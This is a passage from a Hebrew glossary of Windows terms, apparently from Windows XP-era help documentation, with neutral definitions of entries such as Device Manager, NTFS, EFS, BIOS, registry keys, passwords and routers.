‫להתקין תוכנות ולגשת אל כל הקבצים במחשב‪ .‬לאדם בעל חשבון מנהל במחשב יש גישה מלאה‬
‫לחשבונות משתמשים אחרים במחשב‪.‬‬

‫מנהל אבטחה‬

‫בעל חשבון שמוקצה לו אוטומטית מזהה אבטחה עבור גישה למשאבים‪ .‬מנהל אבטחה עשוי‬
‫להיות משתמש‪ ,‬קבוצה‪ ,‬שירות או מחשב‪.‬‬

‫ראה גם‪ :‬קבוצה; שירות; שם מנהל אבטחה‬

‫מנהל ההתקנים‬

‫כלי מנהלי המאפשר ניהול ההתקנים במחשב‪ .‬באמצעות מנהל ההתקנים‪ ,‬באפשרותך להציג‬
‫ולשנות מאפייני התקנים‪ ,‬לעדכן מנהלי התקנים‪ ,‬לקבוע תצורה עבור הגדרות של התקנים‬
‫ולהסיר התקנים‪.‬‬

‫ראה גם‪ :‬הסרת התקנה; התקן‬

‫מנהל המשימות‬

‫כלי שירות המספק מידע אודות תוכניות ותהליכים הפועלים במחשב‪ .‬באמצעות מנהל המשימות‪,‬‬
‫באפשרותך לסיים או להפעיל תוכניות‪ ,‬לסיים תהליכים ולהציג סקירה כוללת דינאמית של‬
‫ביצועי המחשב‪.‬‬

‫מנהל התקן‬

‫תוכנית המאפשרת להתקן ספציפי‪ ,‬כגון מודם‪ ,‬מתאם רשת או מדפסת‪ ,‬לקיים תקשורת עם‬
‫מערכת ההפעלה‪ .‬למרות שהתקן עשוי להיות מותקן במחשב שלך‪ ,‬ל‪ Windows -‬אין אפשרות‬
‫להשתמש בו כל עוד לא התקנת והגדרת את מנהל ההתקן המתאים‪.‬‬

‫אם התקן כלול ברשימת תאימות החומרה (‪ ,)HCL‬מנהל ההתקן בדרך כלל כלול ב‪-‬‬
‫‪ .Windows‬מנהלי התקנים נטענים באופן אוטומטי (עבור כל ההתקנים הזמינים) בעת הפעלת‬
‫המחשב‪ ,‬ולאחר מכן פועלים באופן שאינו גלוי לעין המשתמש‪.‬‬

‫מנהל כרטיס רשת‬

‫מנהל התקן הפועל ישירות עם כרטיס הרשת ומשמש כגורם ביניים בין הכרטיס ומנהל‬
‫הפרוטוקול‪ .‬עם מיזוג הרשת של ‪ ,AppleTalk‬מחסנית ‪ AppleTalk Protocol‬בשרת מיושמת‬
‫כמנהל פרוטוקול ומאוגדת למנהל כרטיס רשת אחד או יותר‪.‬‬

‫ראה גם‪ :‬מנהל התקן‬

‫‪460‬‬
‫מנהל מדפסת‬

‫תוכנית המיועדת לאפשר לתוכניות אחרות לפעול עם מדפסת מסוימת מבלי להתעכב על פרטי‬
‫החומרה והשפה הפנימית של המדפסת‪ .‬באמצעות מנהלי מדפסת המטפלים בדקויות של כל‬
‫מדפסת ומדפסת‪ ,‬יש לתוכניות אפשרות לקיים תקשורת כהלכה עם מגוון מדפסות‪.‬‬

‫ראה גם‪ :‬מנהל התקן‬

‫מנהל מחשב‬

‫משתמש המנהל מחשב‪ .‬מנהל המחשב מבצע שינויים במערכת המחשב‪ ,‬כולל התקנת תוכניות‬
‫וגישה לכל הקבצים במחשב‪ ,‬ובאפשרותו ליצור‪ ,‬לשנות ולמחוק חשבונות של משתמשים‬
‫אחרים‪.‬‬

‫מנהל רשת‬

‫אדם האחראי לתכנון‪ ,‬קביעת התצורה והניהול של התפעול היומיומי של הרשת‪ .‬מנהל רשת‬
‫מכונה גם מנהל מערכת‪.‬‬

‫מסוף השחזור‬

‫ממשק שורת פקודה המספק ערכה מוגבלת של פקודות ניהול השימושיות לתיקון מחשב‪.‬‬

‫ראה גם‪ :‬מערכת קבצים של ‪NTFS‬‬

‫מסיכת רשת משנה‬

‫ערך של ‪ 32‬סיביות המאפשר לנמען של מנות ‪ IP‬לייחד את חלקי מזהה הרשת ומזהה המחשב‬
‫המארח של כתובת ה‪ .IP -‬על פי רוב‪ ,‬במסיכות רשת משנה נעשה שימוש בתבנית ‪.255.x.x.x‬‬

‫מסמך יעד‬

‫המסמך שנעשית לו הוספה של חבילה או אובייקט מקושר או מוטבע‪ .‬עבור אובייקט מוטבע‪,‬‬
‫מסמך היעד מכונה לעיתים גם המסמך המכיל‪.‬‬

‫ראה גם‪ :‬אובייקט מוטבע‬

‫מסמך מקור‬

‫המסמך שבו אובייקט מקושר או מוטבע נוצר לראשונה‪.‬‬

‫ראה גם‪ :‬אובייקט מוטבע; אובייקט מקושר‬

‫מספר רשת פנימי‬

‫מספר הקסדצימאלי בגודל ‪ 4‬בתים המשמש למטרות הוספת כתובות וניתוב‪ .‬מספר הרשת‬
‫הפנימי מזהה רשת וירטואלית בתוך מחשב‪ .‬על מספר הרשת הפנימי להיות ייחודי לרשת ‪.IPX‬‬
‫מספר רשת פנימי מכונה גם מספר רשת וירטואלית‪.‬‬

‫‪461‬‬
‫מעבד הדפסה‬

‫הרכיב הפועל יחד עם מנהל המדפסת ומקבל ומשנה משימות הדפסה‪ ,‬בעת הצורך‪ ,‬בהתאם לסוג‬
‫הנתונים שלהן כדי להבטיח שהמשימות יודפסו כהלכה‪.‬‬

‫ראה גם‪ :‬מנהל מדפסת; משימת הדפסה‬

‫מערכת מספרים‬

‫מערכת כלשהי לייצוג מספרים‪ .‬ארבע מערכות המספרים הזמינות הינן העשרונית‪,‬‬
‫ההקסדצימאלית‪ ,‬האוקטלית והבינארית‪.‬‬

‫מערכת קבצים‬

‫במערכת הפעלה‪ ,‬המבנה הכולל שבו קבצים מקבלים שמות‪ ,‬מאוחסנים ומאורגנים‪,NTFS .‬‬
‫‪ FAT‬ו‪ FAT32 -‬הם סוגים של מערכות קבצים‪.‬‬

‫ראה גם‪ ;FAT32 ;FAT :‬מערכת קבצים של ‪NTFS‬‬

‫מערכת קבצים מוצפנים )‪(EFS‬‬

‫תכונה בגירסה זו של ‪ Windows‬המאפשרת למשתמשים להצפין קבצים ותיקיות בדיסק אמצעי‬


‫אחסון של ‪ NTFS‬על‪-‬מנת להגן עליהם מפני גישה לא מורשית‪.‬‬

‫ראה גם‪ :‬מערכת קבצים של ‪ ;NTFS‬סוכן שחזור‬

‫מערכת קבצים של ‪NTFS‬‬

‫מערכת קבצים מתקדמת המספקת ביצועים‪ ,‬אבטחה‪ ,‬מהימנות ותכונות מתקדמות שאינן קיימות‬
‫באף גירסה של ‪ .FAT‬לדוגמה‪ NTFS ,‬מבטיח עקביות של אמצעי אחסון באמצעות טכניקות‬
‫תקניות של רישום ושחזור טרנזקציות‪ .‬אם יש כשל במערכת‪ NTFS ,‬עושה שימוש בקובץ יומן‬
‫הרישום ובמידע נקודות הביקורת שלו כדי לשחזר את עקביות מערכת הקבצים‪ .‬ב‪Windows -‬‬
‫‪ 2000‬ו‪ NTFS ,Windows XP -‬מספק גם תכונות מתקדמות כגון הרשאות של קבצים‬
‫ותיקיות‪ ,‬הצפנה‪ ,‬מיכסות דיסק ודחיסה‪.‬‬

‫ראה גם‪ ;FAT32 :‬טבלת מיקומי קבצים (‪ ;)FAT‬מערכת קבצים‬

‫מערכת קלט‪/‬פלט בסיסית )‪(BIOS‬‬

‫במחשבים מבוססי ‪ ,x86‬ערכת רוטינות התוכנה הבסיסיות הבודקות את החומרה בשעת אתחול‬
‫המחשב‪ ,‬מפעילות את מערכת ההפעלה ותומכות בהעברת נתונים בין התקני חומרה‪ .‬ה‪BIOS -‬‬
‫מאוחסן בזיכרון קריאה בלבד (‪ )ROM‬כדי שניתן יהיה להפעיל אותו בעת הפעלת המחשב‪.‬‬
‫למרות היותו חשוב ביותר לביצועי המחשב‪ ,‬ה‪ BIOS -‬בדרך כלל אינו גלוי לעינם של‬
‫המשתמשים במחשב‪.‬‬

‫ראה גם‪ ;x86 :‬ממשק קושחה בר‪-‬הרחבה (‪)EFI‬‬

‫‪462‬‬
‫מפתח‬

‫בעורך הרישום‪ ,‬תיקיה המופיעה בחלונית השמאלית של חלון עורך הרישום‪ .‬מפתח עשוי להכיל‬
‫מפתחות משנה וערכים‪ .‬לדוגמה‪ Environment ,‬הוא מפתח של‬
‫‪.HKEY_CURRENT_USER‬‬

‫באבטחת ‪ ,)IPSec( IP‬ערך המשמש בשילוב עם אלגוריתם להצפנה או פיענוח של נתונים‪.‬‬


‫הגדרות מפתח של אבטחת ‪ IP‬ניתנות לקביעה על‪-‬מנת לספק רמת אבטחה גבוהה יותר‪.‬‬

‫ראה גם‪ :‬מפתח משנה; רישום‬

‫מפתח משנה‬

‫מפתח בתוך מפתח‪ .‬במבנה הרישום‪ ,‬מפתחות משנה כפופים לעצי משנה ולמפתחות‪ .‬מפתחות‬
‫ומפתחות משנה דומים לכותרת מקטע בקבצי ‪ ;.ini‬עם זאת‪ ,‬למפתחות משנה יש אפשרות לבצע‬
‫פונקציות‪.‬‬

‫ראה גם‪ :‬מפתח; מפתח משנה; רישום‬

‫מפתח פרטי‬

‫החצי הסודי בזוג המפתחות הקריפטוגרפי בו נעשה שימוש עם אלגוריתם מפתח ציבורי‪ .‬מפתחות‬
‫פרטיים משמשים בדרך כלל לפענוח מפתח הפעלה סימטרי‪ ,‬לחתימה דיגיטלית על נתונים או‬
‫לפענוח נתונים שהוצפנו עם המפתח הציבורי המקביל‪.‬‬

‫מצב ‪Hubbed‬‬

‫מצב שבו ה‪ ARP/MARS -‬מספק כתובות ‪ ATM‬ללקוחות המבקשים בצורת ערך ברשימת‬
‫שרת שידור לקבוצה (‪ .)MCS‬במצב זה‪ ,‬ה‪ ARP/MARS -‬מתפקד כשרת שידור לקבוצה‬
‫ומספק העברה פעילה של כל תעבורת השידור והשידור לקבוצה המיועד לכתובות ‪ IP‬הכלולות‬
‫בטווחים שצוינו ברשימה‪.‬‬

‫ראה גם‪ :‬כתובת ‪IP‬‬

‫מצב תאימות‬

‫תכונה של מחשב או מערכת הפעלה המאפשרת להם להפעיל תוכניות שנכתבו עבור מערכת‬
‫אחרת‪ .‬תוכניות לרוב פועלות בצורה איטית יותר במצב תאימות‪.‬‬

‫מצב תווים‬

‫מצב תצוגה שבו הצג מציג אותיות‪ ,‬מספרים ותווי טקסט אחרים אך לא תמונות גרפיות או עיצוב‬
‫תווים (נטוי‪ ,‬כתב עילי וכן הלאה)‪.‬‬

‫מקוון‬

‫מצב המסמן רכיב באשכול כזמין‪ .‬כאשר צומת הוא מקוון‪ ,‬הוא חבר פעיל באשכול ובאפשרותו‬
‫להחזיק ולהפעיל קבוצות כמו גם לקיים עדכוני מסדי נתונים של אשכולות‪ ,‬לתרום קולות‬
‫לאלגוריתם ‪ Quorum‬ולשמור על פעימות‪ .‬גם במשאבים ובקבוצות יש מצב מקוון‪.‬‬

‫‪463‬‬
‫ראה גם‪ :‬לא מקוון; משאב; קבוצה‬

‫מקלט‪-‬משדר‬

‫התקן שגם מקבל אותות וגם משדר אותם‪ .‬ברשתות תקשורת מקומיות (‪ ,)LAN‬מקלט‪-‬משדר‬
‫הוא ההתקן המחבר מחשב לרשת וממיר אותות לתבנית טורית ומקבילית ומהן‪.‬‬

‫מקשי סינון‬

‫תכונה של לוח המקשים המנחה את לוח המקשים להתעלם מהקשות חטופות או חוזרות‪ .‬כמו כן‪,‬‬
‫באפשרותך להתאים את קצב החזרה של לוח המקשים‪ ,‬כלומר הקצב שבו מקש חוזר בעת‬
‫החזקתו לחוץ‪.‬‬

‫ראה גם‪ :‬מקשי עכבר; מקשים דביקים; מקשים דו‪-‬מצביים‬

‫מקשי עכבר‬

‫תכונת לוח מקשים המאפשרת לך להשתמש במקלדת הנומרית להזזת מצביע העכבר וללחיצה‪,‬‬
‫לחיצה כפולה וגרירה‪.‬‬

‫ראה גם‪ :‬מקשי סינון; מקשים דביקים; מקשים דו‪-‬מצביים‬

‫מקשים דביקים‬

‫תכונת לוח מקשים המאפשרת לך להקיש על מקש צירוף (‪ ALT ,CTRL‬או ‪ ,)SHIFT‬או על‬
‫מקש סמל ‪ ,Windows‬ולהשאירו פעיל עד להקשה על מקש שאינו מקש צירוף‪ .‬תכונה זו‬
‫שימושית עבור אנשים המתקשים להקיש על שני מקשים בו‪-‬זמנית‪.‬‬

‫ראה גם‪ :‬מקשי סינון; מקשי עכבר; מקשים דו‪-‬מצביים‬

‫מקשים דו‪-‬מצביים‬

‫תכונה המגדירה את לוח המקשים להשמעת צפצוף כאשר אחד ממקשי הנעילה (‪CAPS‬‬
‫‪ NUM LOCK ,LOCK‬או ‪ )SCROLL LOCK‬מופעל או מבוטל‪.‬‬

‫ראה גם‪ :‬מקשי סינון; מקשי עכבר; מקשים דביקים; מקשים דו‪-‬מצביים‬

‫משאב‬

‫באופן כללי‪ ,‬כל חלק במערכת מחשב או ברשת‪ ,‬כגון כונן דיסקים‪ ,‬מדפסת או זיכרון‪ ,‬שניתן‬
‫להקצותו לתוכנית פועלת או לתהליך‪.‬‬

‫עבור מנהל ההתקנים‪ ,‬אחד מארבעה רכיבי מערכת הקובעים את אופן התפקוד של התקנים‬
‫במחשב‪ .‬ארבעת משאבי המערכת האלה הם קווי בקשת פסיקה (‪ ,)IRQ‬ערוצי גישה ישירה‬
‫לזיכרון (‪ ,)DMA‬יציאות קלט‪/‬פלט (‪ )I/O‬וכתובות זיכרון‪.‬‬

‫עבור אשכולות שרת‪ ,‬ישות פיזית או לוגית שניתן לנהלה באמצעות אשכול‪ ,‬להעבירה למצב‬
‫מקוון ולא מקוון ולהעבירה בין צמתים‪ .‬משאב יכול להימצא בבעלות צומת אחד בלבד בכל‬
‫נקודת זמן נתונה‪.‬‬

‫‪464‬‬
‫ראה גם‪ :‬יציאת קלט‪/‬פלט (‪ ;)I/O‬כתובת זיכרון; לא מקוון; מקוון; משאב‬

‫משאב ‪Network Name‬‬

‫שם ההתקן הנמצא ברשת ונתמך כמשאב אשכול באמצעות ‪ Resource DLL‬המסופק עם‬
‫‪.Windows‬‬

‫ראה גם‪Resource DLL :‬‬

‫משאב מנגנון הדפסה ברקע‬

‫תורי מדפסת המספקים גישה למדפסת רשת המחוברת לרשת באמצעות כתובת ‪ IP‬ולא באמצעות‬
‫שם אינדיווידואלי‪ .‬מנגנוני הדפסה ברקע נתמכים כמשאבי אשכול על‪-‬ידי ‪.Resource DLL‬‬

‫ראה גם‪ ;Resource DLL :‬כתובת ‪ ;IP‬מנגנון הדפסה ברקע (‪)print spooler‬‬

‫משאב משותף‬

‫כל התקן‪ ,‬תוכנית או נתונים בהם נעשה שימוש ביותר מהתקן אחד או תוכנית אחת‪ .‬עבור‬
‫‪ ,Windows‬משאבים משותפים מתייחסים לכל משאב שהפך זמין למשתמשי רשת‪ ,‬כגון‬
‫תיקיות‪ ,‬קבצים‪ ,‬מדפסות ורכיבי ‪ .named pipe‬משאב משותף עשוי להתייחס גם למשאב בשרת‬
‫הזמין למשתמשי רשת‪.‬‬

‫ראה גם‪ :‬התקן; משאב; שרת‬

‫משימת הדפסה‬

‫קוד המקור המכיל הן את הנתונים שיודפסו והן את הפקודות להדפסה‪ .‬משימות הדפסה ממוינות‬
‫לסוגי נתונים לפי השינויים שעל מנגנון ההדפסה ברקע לבצע במידת הצורך במשימה לשם‬
‫הדפסה נכונה‪.‬‬

‫ראה גם‪ :‬חלון המדפסת; מאגר הדפסה; מנגנון הדפסה ברקע (‪)print spooler‬‬

‫משתמש‬

‫אדם המשתמש במחשב‪ .‬אם המחשב מחובר לרשת‪ ,‬משתמש יכול לקבל גישה לתוכניות‬
‫ולקבצים במחשב‪ ,‬כמו גם לתוכניות ולקבצים הממוקמים ברשת (בהתאם להגבלות החשבון‬
‫שנקבעו על‪-‬ידי מנהל הרשת)‪.‬‬

‫משתמש ברירת המחדל‬

‫הפרופיל המשמש כבסיס לכל פרופילי המשתמשים‪ .‬כל פרופיל משתמש מתחיל כעותק של‬
‫פרופיל המשתמש המהווה ברירת מחדל‪.‬‬

‫משתמשים‬

‫קבוצה מיוחדת המכילה את כל המשתמשים בעלי הרשאות המשתמש בשרת‪ .‬כאשר משתמש‬
‫‪ Macintosh‬מקצה הרשאות לכולם‪ ,‬הרשאות אלה ניתנות למשתמשים ולאורחים של הקבוצה‪.‬‬

‫‪465‬‬
‫ראה גם‪ :‬הרשאה; קבוצה‬

‫משתמשים ומחשבים של ‪Active Directory‬‬

‫כלי ניהול שנועד לביצוע מטלות ניהול יומיומיות של ‪ .Active Directory‬משימות אלה כוללות‬
‫יצירה‪ ,‬מחיקה‪ ,‬שינוי‪ ,‬העברה והגדרה של הרשאות באובייקטים המאוחסנים בספריה‪.‬‬
‫אובייקטים אלה כוללים יחידות ארגוניות‪ ,‬משתמשים‪ ,‬אנשי קשר‪ ,‬מחשבים‪ ,‬מדפסות ואובייקטי‬
‫קבצים משותפים‪.‬‬

‫ראה גם‪ ;Active Directory :‬אובייקט; הרשאה‬

‫מתאם וידאו‬

‫כרטיס הרחבה המוכנס למחשב אישי כדי להעניק לו יכולות תצוגה‪ .‬יכולות התצוגה של מחשב‬
‫תלויות הן בתוכנית המעגל החשמלי הלוגית (המסופקת במתאם הווידאו) והן בצג‪ .‬כל מתאם‬
‫מציע מספר מצבי וידאו שונים‪ .‬שתי הקטגוריות הבסיסיות של מצבי וידאו הן טקסט וגרפיקה‪.‬‬
‫במצבי הטקסט והגרפיקה‪ ,‬צגים מסוימים מציעים גם בחירת רזולוציות‪ .‬ברזולוציות נמוכות‬
‫יותר‪ ,‬לצג יש אפשרות להציג צבעים רבים יותר‪.‬‬

‫מתאמים מודרניים מכילים זיכרון‪ ,‬כך שלא נעשה שימוש ב‪ RAM -‬של המחשב לאחסון‬
‫תצוגות‪ .‬נוסף על כך‪ ,‬למרבית המעבדים יש מעבדי עזר של גרפיקה משלהם לביצוע חישובים‬
‫גרפיים‪ .‬נהוג לכנות מתאמים אלה מאיצים גרפיים‪.‬‬

‫מתאם רשת‬

‫התקן המחבר את המחשב שלך לרשת‪ .‬התקן זה מכונה לעיתים כרטיס מתאם או כרטיס ממשק‬
‫רשת‪.‬‬

‫מתאם תצוגה‬
‫ראה הגדרה עבור‪ :‬מתאם וידאו‬

‫מתן הרשאות‬

‫התהליך הקובע מה מורשה משתמש לבצע במערכת מחשב או ברשת‪.‬‬

‫נ‬
‫ניהול תורי הודעות‬

‫מערכת ליצירת תורים וניתוב של הודעות ב‪ Windows -‬המאפשרת ליישומים מבוזרים‬


‫הפועלים בזמנים שונים לקיים תקשורת על‪-‬פני רשתות הטרוגניות ועם מחשבים שעשויים‬
‫להיות במצב לא מקוון‪ .‬ניהול תורי הודעות מספק העברה מובטחת של הודעות‪ ,‬ניתוב יעיל‪,‬‬
‫אבטחה והעברת הודעות המבוססת על עדיפויות‪ .‬ניהול תורי הודעות היה ידוע בעבר כ‪-‬‬
‫‪.MSMQ‬‬

‫ניקוי‬

‫ביטול אפשרות על‪-‬ידי הסרת הסימון ‪ X‬או סימן הביקורת מתיבת סימון‪ .‬באפשרותך לנקות‬
‫תיבת סימון על‪-‬ידי לחיצה עליה או בחירה בה ולאחר מכן הקשה על מקש רווח‪.‬‬

‫‪466‬‬
‫ניתוב‬

‫תהליך ההעברה של מנה דרך רשת המקיפה מספר רשתות ממחשב מארח המשמש כמקור‬
‫למחשב מארח המשמש כיעד‪.‬‬

‫ראה גם‪ :‬מחשב מארח; מנה‬

‫נקודות ביקורת‬
‫ראה הגדרה עבור‪ :‬נקודת שחזור‬

‫נקודת כניסה‬

‫המקום שבו טקסט יוזן בעת ההקלדה‪ .‬נקודת הכניסה מופיעה בדרך כלל כפס אנכי מהבהב בחלון‬
‫של יישום או בתיבת דו‪-‬שיח‪.‬‬

‫נקודת שחזור‬

‫ייצוג של מצב מאוחסן של המחשב שלך‪ .‬נקודת שחזור נוצרת באמצעות שחזור המערכת‬
‫במרווחי זמן ספציפיים וכאשר שחזור המערכת מזהה את תחילתו של שינוי במחשב‪ .‬בנוסף‪,‬‬
‫באפשרותך ליצור נקודת שחזור באופן ידני בכל עת‪.‬‬

‫נתב‬

‫בסביבת ‪ ,Windows‬חומרה המסייעת לרשתות תקשורת מקומיות (‪ )LAN‬ולרשתות תקשורת‬


‫מרחביות (‪ )WAN‬להשיג יכולת פעולה הדדית וקישוריות‪ ,‬ושבאפשרותה לקשר בין רשתות‬
‫תקשורת מקומיות בעלות טופולגיות רשת שונות (כגון ‪ Ethernet‬ו‪ .)Token Ring -‬נתבים‬
‫מתאימים כותרות של מנות ליחידה של רשת תקשורת מקומית ובוחרים בנתיב הטוב ביותר‬
‫עבור המנה‪ ,‬תוך מיטוב ביצועי הרשת‪.‬‬

‫בסביבת ‪ ,Macintosh‬נתבים נחוצים עבור מחשבים ברשתות פיזיות שונות לשם קיום תקשורת‬
‫זה עם זה‪ .‬נתבים מתחזקים מפה של הרשתות הפיזיות באינטרנט (רשת) של ‪Macintosh‬‬
‫ומעבירים נתונים שהתקבלו מרשת פיזית אחת לרשתות פיזיות אחרות‪ .‬מחשבים בהם פועלת‬
‫גירסת ה‪ Server -‬של ‪ Windows‬עם שילוב רשת של ‪ AppleTalk‬יכולים לפעול כנתבים‪,‬‬
‫ובאפשרותך גם להשתמש בחומרת ניתוב אחרת ברשת עם שילוב רשת של ‪.AppleTalk‬‬

‫ראה גם‪ :‬ניתוב; רשת תקשורת מקומית (‪ ;)LAN‬רשת תקשורת מרחבית (‪)WAN‬‬

‫נתיב ‪ Script‬לכניסה‬

‫רצף של שמות ספריות המציין את מיקום ה‪ Script -‬לכניסה‪ .‬כאשר משתמש מבצע כניסה‬
‫למערכת‪ ,‬המחשב המאמת מאתר את ה‪ Script -‬לכניסה שצוין (אם קובץ כזה הוקצה עבור אותו‬
‫חשבון משתמש) על‪-‬ידי מעקב אחר הנתיב המקומי של ה‪ Script -‬לכניסה שלו (בדרך כלל‬
‫‪.)systemroot\System32\Repl\Import\Scripts‬‬

‫ראה גם‪ Script :‬לכניסה; ‪ ;systemroot‬חשבון משתמש‬

‫‪467‬‬
‫ס‬
‫סביבת הפעלה‬

‫במערכות עם אתחול כפול או אתחול מרובה‪ ,‬הגדרות התצורה המציינות איזו מערכת יש להפעיל‬
‫וכיצד יש להפעיל כל אחת מהמערכות‪.‬‬

‫ראה גם‪ :‬אתחול כפול; אתחול מרובה‬

‫סוג בורר‬

‫סוג הממשק אליו מוצמד התקן ה‪ ISDN -‬שלך‪ .‬סוג בורר קרוי גם בורר‪.‬‬

‫ראה גם‪ :‬רשת דיגיטלית של שירותים משולבים (‪)ISDN‬‬

‫סוג חומרה‬

‫סיווג להתקנים דומים‪ .‬לדוגמה‪ ,‬התקן הדמיה הוא סוג חומרה של מצלמות דיגיטליות וסורקים‪.‬‬

‫ראה גם‪ :‬התקן‬

‫סוג קובץ‬

‫בסביבת ‪ ,Windows‬ייעוד של המאפיינים התפעוליים או המבניים של קובץ‪ .‬סוג הקובץ מזהה‬


‫את התוכנית‪ ,‬כגון ‪ ,Microsoft Word‬המשמשת לפתיחת הקובץ‪ .‬סוגי קבצים משויכים לסיומת‬
‫שם הקובץ‪ .‬לדוגמה‪ ,‬קבצים בעלי סיומת ‪ .txt‬או ‪ .log‬הם מהסוג מסמך טקסט וניתן לפתוח‬
‫אותם באמצעות כל עורך טקסט‪.‬‬

‫בסביבת ‪ ,Macintosh‬צירוף בן ארבעה תווים המזהה את הסוג של קובץ ‪.Macintosh‬‬


‫‪ Macintosh Finder‬עושה שימוש בסוג הקובץ וביוצר הקובץ כדי לקבוע את סמל שולחן‬
‫העבודה המתאים לאותו קובץ‪.‬‬

‫סוג קובץ רשום‬

‫סוגי קובץ המסומנים ברישום המערכת ומזוהים על‪-‬ידי התוכניות שהתקנת במחשב שלך‪.‬‬

‫ראה גם‪ :‬סוג קובץ‬

‫סוגי משאבים‬

‫מחלקות של משאבים‪ ,‬כגון מנגנון הדפסה ברקע‪ ,‬דיסק פיזי ושיתוף קובץ‪ ,‬המאורגנות לפי‬
‫אשכול השרת‪ Whistler Advanced Server .‬ו‪ Whistler Datacenter Server -‬מספקים‬
‫קבצי ‪ Resource DLL‬עבור סוגי המשאבים הנפוצים ביותר‪ .‬באמצעות ממשק תיכנות‬
‫היישומים (‪ )API‬הכלול ב‪,)SDK( Microsoft Platform Software Development Kit -‬‬
‫ספקים אחרים יכולים להוסיף תמיכה עבור סוגי משאבים אחרים‪.‬‬

‫ראה גם‪ ;Resource DLL :‬מנגנון הדפסה ברקע (‪)print spooler‬‬

‫‪468‬‬
‫סוכן שחזור‬

‫אדם שמונפק עבורו אישור מפתח ציבורי לשם שחזור נתוני משתמש המוצפנים באמצעות‬
‫מערכת הצפנת קבצים (‪.)EFS‬‬

‫ראה גם‪ :‬אישור; מערכת קבצים מוצפנים (‪)EFS‬‬

‫סיביות בשניה )‪(bps‬‬

‫מספר הסיביות המשודרות בכל שניה‪ ,‬המשמשות כמדד למהירות שבה התקן‪ ,‬כגון מודם‪ ,‬יכול‬
‫להעביר נתונים‪.‬‬

‫ראה גם‪ :‬מודם (‪ = modulator/demodulator‬מאפנן‪/‬ממצה אפנון)‬

‫סיבית )סיפרה בינארית(‬

‫יחידת המידע הקטנה ביותר המטופלת על‪-‬ידי מחשב‪ .‬סיבית אחת מבטאת סיפרה בינארית‬
‫שערכה ‪ 1‬או ‪ ,0‬או תנאי לוגי שערכו אמת או שקר‪ .‬קבוצה של ‪ 8‬סיביות נקראת בית‪ ,‬וזה בתורו‬
‫יכול לייצג סוגי מידע רבים‪ ,‬כגון אות באלף‪-‬בית‪ ,‬סיפרה עשרונית או תו אחר‪ .‬סיבית מכונה גם‬
‫סיפרה בינארית‪.‬‬

‫ראה גם‪ :‬בינארי‬

‫סיומת של שם משתמש עיקרי‬

‫סיומת ה‪( UPN -‬שם משתמש עיקרי) היא החלק בשם המשתמש העיקרי הנמצא מימין לתו @‪.‬‬
‫סיומת ה‪ UPN -‬המשמשת כברירת מחדל עבור חשבון משתמש היא שם קבוצת המחשבים של‬
‫‪ DNS‬של קבוצת המחשבים המכילה את חשבון המשתמש‪ .‬ניתן להוסיף סיומות ‪ UPN‬חלופיות‬
‫לשם הפיכת הניהול ותהליכי כניסת המשתמש לפשוטים יותר על‪-‬ידי מתן סיומת ‪ UPN‬יחידה‬
‫עבור כל המשתמשים‪ .‬סיומת ה‪ UPN -‬משמשת רק בתוך היער של ‪ Active Directory‬ואין‬
‫צורך שתהיה שם קבוצת מחשבים חוקי של ‪.DNS‬‬

‫ראה גם‪ ;)DNS( Domain Name System ;Active Directory :‬חשבון משתמש; קבוצת‬
‫מחשבים; שם משתמש עיקרי; שם קבוצת מחשבים‬

‫סיומת שם קובץ‬

‫סיומות של שמות קבצים באות אחרי הנקודה בשם קובץ ומציינות את סוג המידע המאוחסן‬
‫בקובץ‪ .‬לדוגמה‪ ,‬בשם הקובץ ‪ ,Example.txt‬סיומת שם הקובץ היא ‪ ,.txt‬והיא מציינת שהקובץ‬
‫הוא קובץ טקסט‪.‬‬

‫סינכרון‬

‫השגת פשרה בהבדלים בין קבצים המאוחסנים במחשב אחד לבין גירסאות של אותם קבצים‬
‫במחשב אחר‪ .‬לאחר קביעת ההבדלים‪ ,‬שתי הקבוצות של הקבצים מעודכנות‪.‬‬

‫‪469‬‬
‫סיסמה‬

‫אמצעי אבטחה המשמש להגבלת שמות כניסה לחשבונות משתמשים וגישה למערכות מחשבים‬
‫ומשאבים‪ .‬סיסמה היא מחרוזת תווים שיש להזינה לקבלת הרשאה עבור שם כניסה או גישה‪.‬‬
‫סיסמה יכולה להכיל אותיות‪ ,‬ספרות וסמלים‪ ,‬והיא תלויית רישיות‪.‬‬

‫ראה גם‪ :‬חשבון משתמש‬

‫סיסמת ‪Windows‬‬

‫סיסמה המשמשת לכניסה ל‪ .Windows -‬באפשרותך גם לשנות את הגדרותיך כך שתוכל‬


‫להיכנס ל‪ Windows -‬ללא סיסמה‪.‬‬

‫סיסמת משתמש‬

‫הסיסמה המאוחסנת בחשבון של כל משתמש‪ .‬לכל אחד מהמשתמשים יש בדרך כלל סיסמת‬
‫משתמש ייחודית שעליו להקלידה בעת כניסה או קבלת גישה לשרת‪.‬‬

‫ראה גם‪ :‬חשבון משתמש; סיסמה‬

‫סיסמת רשת‬

‫סיסמה המשמשת לכניסה לרשת‪ .‬באפשרותך לבחור בסיסמת רשת הזהה לסיסמת ‪Windows‬‬
‫שלך‪ ,‬כך שיהיה עליך לזכור סיסמה אחת בלבד‪.‬‬

‫סל המיחזור‬

‫המקום שבו ‪ Windows‬מאחסן קבצים שנמחקו‪ .‬באפשרותך לאחזר קבצים שמחקת בטעות או‬
‫לרוקן את סל המיחזור ליצירת שטח דיסק פנוי רב יותר‪.‬‬

‫סמל‬

‫תמונה קטנה המוצגת על המסך לשם ייצוג אובייקט הניתן להפעלה על‪-‬ידי המשתמש‪ .‬סמלים‬
‫משמשים כמסייעי זיכרון ויזואליים ומאפשרים למשתמש לשלוט בפעולות מחשב מסוימות מבלי‬
‫שיהיה עליו לזכור פקודות או להקליד אותן באמצעות לוח המקשים‪.‬‬

‫סמל ‪MS-DOS‬‬

‫הסמל בקצה השמאלי של פס הכותרת‪ .‬לחיצה על סמל זה מציגה את תפריט מערכת עבור חלון‬
‫‪.MS-DOS‬‬

‫ספירת הליכי משנה )‪(Thread‬‬

‫במנהל המשימות‪ ,‬מספר הליכי המשנה הפועלים בתהליך‪.‬‬

‫ראה גם‪ :‬מנהל המשימות‬

‫‪470‬‬
‫ספק שירותי אינטרנט )‪(ISP‬‬

‫חברה המספקת לאנשים פרטיים או לחברות גישה לאינטרנט ול‪ .World Wide Web -‬ספק‬
‫שירותי אינטרנט מספק מספר טלפון‪ ,‬שם משתמש‪ ,‬סיסמה ומידע התחברות נוסף כדי‬
‫שלמשתמשים תהיה אפשרות לחבר את המחשבים שלהם למחשבי הספק‪ .‬ספק שירותי אינטרנט‬
